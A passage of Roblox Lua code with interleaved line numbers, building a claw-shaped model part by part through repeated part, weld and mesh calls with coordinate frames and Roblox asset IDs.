ClawWeld = CreateWeld(m, Handle, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.857914209, 0.258751988, -0.512362957, 0.353553236, -0.866025567, -0.353553236, -0.707106471, 3.09715034e-07, -0.707107246, 0.612372994, 0.499999791, -0.6123721))
826
CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(1, 0.709999979, 0.100000001))
827
ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 0.200000003))
828
ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.508293927, 0.581420183, 0.355297565, -1, 0, 0, 0, -0.694275975, -0.719708979, 0, -0.719708979, 0.694275975))
829
CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.207726225, 0.473494887, 1))
830
ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 0.200000003))
831
ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.508293927, -0.605236769, -0.322324991, 1, 0, 0, 0, 0.719708979, -0.694275975, 0, 0.694275975, 0.719708979))
832
CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.207726225, 0.473494887, 1))
833
ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 0.200000003))
834
ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.508293927, 0.0117408261, -0.729162693, 1, 0, 0, 0, -0.0252030101, -0.999682367, 0, 0.999682367, -0.0252030101))
835
CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.208000004, 0.47299999, 0.47299999))
836
ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 1.04200566))
837
ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.123879015, -0.278857708, -0.00617899979, 0.965925336, -0.2588211, 0, 0.2588211, 0.965925336, 0, 0, 0, 1))
838
CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.821169853, 0.388499111, 1.00999999))
839
ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.445813209, 0.210449979, 1.04200566))
840
ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.223450184, 0.0305250883, -0.00618699985, -0.25881803, 0.965926111, 0, -0.965926111, -0.25881803, 0, 0, 0, 1))
841
CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 0.388499111, 1.00999999))
842
ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 1.04200566))
843
ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.407537222, 0.0663063526, -0.00618699985, 0.707106352, -0.707107365, 0, 0.707107365, 0.707106352, 0, 0, 0, 1))
844
CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.821169853, 0.388499111, 1.00999999))
845
ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.664211631, 0.210449979, 1.04200566))
846
ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0544009209, 0.0101571083, -0.00617499975, 0.499998987, 0.866025984, 0, -0.866025984, 0.499998987, 0, 0, 0, 1))
847
CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 0.388499111, 1.00999999))
848
ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 1.04200566))
849
ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.212381959, -0.663311005, -0.00618499983, 1, 0, 0, 0, 1, 0, 0, 0, 1))
850
CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.730365157, 0.388499111, 1.00999999))
851
ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 1.04200566))
852
ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0184851885, 0.339620829, -0.0061809998, 0.715359032, -0.698757052, 0, 0.698757052, 0.715359032, 0, 0, 0, 1))
853
CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.834142029, 0.388499111, 1.00999999))
854
ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.627083898, 0.210449979, 1.04200566))
855
ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.280005217, -0.363016367, -0.00617299974, 0.707106352, 0.707107365, 0, -0.707107365, 0.707106352, 0, 0, 0, 1))
856
CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 0.388499111, 1.00999999))
857
ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 0.329999983))
858
ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.508293927, 0.00543988496, -0.414242506, 1, 0, 0, 0, -0.0252030101, -0.999682367, 0, 0.999682367, -0.0252030101))
859
CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.207726225, 0.473494887, 1))
860
ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 1.04200566))
861
ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.453824013, -0.291407824, -0.00616900017, 1, 0, 0, 0, 1, 0, 0, 0, 1))
862
CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.83414197, 0.388499111, 1.00999999))
863
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "White", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
864
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.51018995, -0.50767684, 0.297928989, 1, 0, 0, 0, 1, 0, 0, 0, 1))
865
CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.225887179, 0.543544471, 0.369591445))
866
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "White", "Part", Vector3.new(0.210449979, 0.210449979, 0.796189725))
867
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0117785633, -0.903934956, 0.39272213, 0.707106352, 0, 0.707107365, 0, 1, 0, -0.707107365, 0, 0.707106352))
868
CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 1))
869
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "White", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
870
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.51076597, -0.677359819, -0.295575023, 1, 0, 0, 0, 1, 0, 0, 0, 1))
871
CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.231076032, 0.543544471, 0.369591445))
872
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "White", "Part", Vector3.new(0.210449979, 0.210449979, 0.524428368))
873
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0118038058, 0.689624906, 0.570050001, 0.707103848, 0, 0.707109809, -0.707109809, 0, 0.707103848, 0, -1, 0))
874
CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 1))
875
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "White", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
876
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.510767996, -0.508222818, -0.295575023, 1, 0, 0, 0, 1, 0, 0, 0, 1))
877
CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.231076032, 0.543544471, 0.369591445))
878
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "White", "Part", Vector3.new(0.210449979, 0.210449979, 1.06329954))
879
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.285520971, -0.664801836, -0.00591700012, 1, 0, 0, 0, 1, 0, 0, 0, 1))
880
CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.311503083, 0.543544471, 1))
881
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "White", "Part", Vector3.new(0.728394926, 0.35408181, 1.04200566))
882
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.159419954, -0.695495844, -0.00616900017, 1, 0, 0, 0, 1, 0, 0, 0, 1))
883
CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 1))
884
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "White", "Part", Vector3.new(0.796342552, 0.65287286, 1.04582763))
885
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.144507021, 0.270431995, -0.00702500017, 1, 0, 0, 0, 1, 0, 0, 0, 1))
886
CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 1))
887
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "White", "Part", Vector3.new(0.210449979, 0.210449979, 1.04200566))
888
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0228680372, -0.903097868, -0.00617699977, 1, 0, 0, 0, 1, 0, 0, 0, 1))
889
CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 1))
890
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "White", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
891
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.51076597, -0.157143831, -0.295579016, 1, 0, 0, 0, 1, 0, 0, 0, 1))
892
CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.231076032, 0.543544471, 0.369591445))
893
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "White", "Part", Vector3.new(0.475480139, 0.404664904, 1.04200566))
894
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.236273766, -0.56151557, -0.0061809998, 0.707106352, 0.707107365, 0, -0.707107365, 0.707106352, 0, 0, 0, 1))
895
CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 1))
896
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "White", "Part", Vector3.new(0.210449979, 0.210449979, 0.796189725))
897
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.000811070204, -0.902295828, 0.381639034, -0.707106829, 0, 0.707106829, 0, 1, 0, -0.707106829, 0, -0.707106829))
898
CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 1))
899
Part = CreatePart2(m, Enum.Material.Neon, 0, 0, "Part", "White", "Part", Vector3.new(1, 1, 1))
900
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0142869996, -0.618730307, -0.382281303, 0, 0, 1, 0.36670509, -0.93033725, 0, 0.93033725, 0.36670509, 0))
901
CreateMesh("SpecialMesh", Part, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.5, 0.709999979, 0.100000001))
902
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "White", "Part", Vector3.new(0.210449979, 0.210449979, 0.524428368))
903
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.000812500715, 0.678554535, 0.570062876, -0.707106829, 0, 0.707106829, -0.707106829, 0, -0.707106829, 0, -1, 0))
904
CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 1))
905
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "White", "Part", Vector3.new(0.274916351, 0.495625556, 1.04582763))
906
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.386464, 0.349603176, -0.00702300016, 1, 0, 0, 0, 1, 0, 0, 0, 1))
907
CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 1))
908
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "White", "Part", Vector3.new(0.210449979, 0.210449979, 1.06329954))
909
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.285515964, -0.215442896, -0.00591900013, 1, 0, 0, 0, 1, 0, 0, 0, 1))
910
CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.311503083, 0.543544471, 1))
911
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "White", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
912
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.51019901, -0.156597853, 0.297930986, 1, 0, 0, 0, 1, 0, 0, 0, 1))
913
CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.225887179, 0.543544471, 0.369591445))
914
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "White", "Part", Vector3.new(1.06224263, 1.11860847, 1.04200566))
915
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.00774800777, 0.0171630383, -0.0061809998, 1, 0, 0, 0, 1, 0, 0, 0, 1))
916
CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 1))
917
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "White", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
918
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.510194004, -0.67681098, 0.297922999, 1, 0, 0, 0, 1, 0, 0, 0, 1))
919
CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.225887179, 0.543544471, 0.369591445))
920
ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "WedgePart", TorsoColor, "ClawMaterial", Vector3.new(1.0507766, 0.342107773, 0.210450009))
921
ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00591100007, -0.468749046, 0.193565369, 0, 0, 1, -0.700001419, -0.714141428, 0, 0.714141428, -0.700001419, 0))
922
CreateMesh("SpecialMesh", ClawMaterial, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 0.961421788))
923
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "White", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
924
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.00134065747, 0.207813978, 0.709334135, 0.707106829, 0, -0.707106829, 0, -1, 0, -0.707106829, 0, -0.707106829))
925
CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 0.961421788))
926
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "White", "Part", Vector3.new(1.05023062, 0.210449979, 0.210450009))
927
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00947299972, -0.114370823, -0.440932035, 0, 0, 1, 0, 1, 0, -1, 0, 0))
928
CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 0.561885834, 0.961421788))
929
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "White", "Part", Vector3.new(1.05023062, 0.411995441, 0.210450009))
930
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00891099963, -0.798730135, 0.476718009, 0, 0, 1, 0, -1, 0, 1, 0, 0))
931
CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 0.644903481))
932
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "White", "Part", Vector3.new(1.04586256, 0.210449979, 0.27767837))
933
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00726700015, 0.0232260227, 0.391721964, 0, 0, 1, 0, 1, 0, -1, 0, 0))
934
CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 0.764251173, 1))
935
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "White", "Part", Vector3.new(1.05023062, 0.385787576, 0.210450009))
936
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.00509499991, -0.792718172, 0.456955969, 0, 0, -1, 0, -1, 0, -1, 0, 0))
937
CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 0.644903481))
938
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "White", "Part", Vector3.new(1.05023062, 0.210449979, 0.210450009))
939
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.00509600015, -0.696686029, 0.42363596, 0, 0, -1, 0, -1, 0, -1, 0, 0))
940
CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 0.961427808, 0.961421788))
941
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "White", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
942
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.012203753, 0.206679821, 0.707822442, -0.707106352, 0, -0.707107365, 0, -1, 0, -0.707107365, 0, 0.707106352))
943
CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 0.961421788))
944
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "White", "Part", Vector3.new(1.05023062, 0.210449979, 0.210450009))
945
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00947900023, -0.695355177, 0.440928012, 0, 0, 1, 0, -1, 0, 1, 0, 0))
946
CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 0.961427808, 0.961421788))
947
MotorOne = CreatePart(m, Enum.Material.Neon, 0.30000001192093, 1, TorsoColor, "MotorOne", Vector3.new(0.200000003, 0.200000003, 0.200000003))
948
MotorOneWeld = CreateWeld(m, Handle, MotorOne, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.165818453, -0.00628910959, -0.978227913, -0.0732169896, -0.996971905, -0.0261989962, -0.542171299, 0.0618378855, -0.83798945, 0.837072074, -0.0471507274, -0.545057178))
949
Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
950
ShardWeld = CreateWeld(m, MotorOne, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.413149118, -0.00709122419, -1.08955288, 0.90752846, 5.51342964e-07, -0.419990718, -1.73971057e-06, 1, -2.44379044e-06, 0.419990718, 2.95042992e-06, 0.90752852))
951
CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(1.20000005, 0.200000003, 0.200000003))
952
Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
953
ShardWeld = CreateWeld(m, MotorOne, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.205875158, -0.00710588694, -1.48987699, 0.747897685, -5.36441803e-07, -0.663814127, -1.66893005e-06, 1, -2.68220901e-06, 0.663814127, 3.12924385e-06, 0.747897744))
954
CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003))
955
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "White", "Part", Vector3.new(0.329999983, 1.28999996, 0.319999993))
956
PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151987076, 0.549069643, -0.614215612, -1.19581819e-06, 1, 1.37090683e-06, -0.999459982, -1.24052167e-06, 0.0328635052, 0.0328635164, -1.31130219e-06, 0.999459982))
957
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "White", "Part", Vector3.new(0.329999983, 2.73999977, 0.339999974))
958
PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151856542, -0.490994453, -0.295432806, -1.19581819e-06, 1, 1.37090683e-06, -0.961226821, -7.5250864e-07, -0.27575928, -0.27575931, -1.57952309e-06, 0.96122694))
959
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "White", "Part", Vector3.new(0.329999983, 1.28999996, 0.479999989))
960
PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.015198648, 0.650615692, -0.406500697, -1.19581819e-06, 1, 1.37090683e-06, -0.978774786, -8.94069672e-07, -0.204939544, -0.204939514, -1.51991844e-06, 0.978774667))
961
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "White", "Part", Vector3.new(0.329999983, 1.28999996, 0.339999974))
962
PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0152282119, 0.624634504, 0.129744053, -1.19581819e-06, 1, 1.37090683e-06, -0.832109034, -2.5331974e-07, -0.554612279, -0.554612339, -1.78813934e-06, 0.832108974))
963
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "White", "Part", Vector3.new(0.329999983, 1.03999996, 0.480000019))
964
PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0152042508, 0.944105864, 0.894237399, 1.19581819e-06, -1, -1.37090683e-06, -0.999459982, -1.24052167e-06, 0.0328635052, -0.0328635164, 1.31130219e-06, -0.999459982))
965
Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
966
ClawWeld = CreateWeld(m, MotorOne, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-1.86121058, -0.0170745254, -0.650540829, 1.00000012, 0, 3.7252903e-09, 0, 1, 0, 3.7252903e-09, 0, 1.00000024))
967
CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(2.5, 0.300000012, 0.519999981))
968
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "White", "Part", Vector3.new(0.329999983, 0.370000005, 0.200000003))
969
PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151966214, -1.64906764, 1.03426063, -1.19581819e-06, 1, 1.37090683e-06, 0.999459982, 1.24052167e-06, -0.0328635052, -0.0328635164, 1.31130219e-06, -0.999459982))
970
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "White", "Part", Vector3.new(0.329999983, 0.200000003, 0.200000003))
971
PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0252064466, -1.54980397, -0.844281435, 1.19581819e-06, -1, -1.37090683e-06, 0.999459982, 1.24052167e-06, -0.0328635052, 0.0328635164, -1.31130219e-06, 0.999459982))
972
MotorTwo = CreatePart(m, Enum.Material.Neon, 0.30000001192093, 1, TorsoColor, "MotorTwo", Vector3.new(0.200000003, 0.200000003, 0.200000003))
973
MotorTwoWeld = CreateWeld(m, Handle, MotorTwo, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0479729176, -0.503670454, -0.786706924, 0.0261989962, -0.996971905, -0.0732169896, 0.83798945, 0.0618378855, -0.542171299, 0.545057178, -0.0471507274, 0.837072074))
974
Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
975
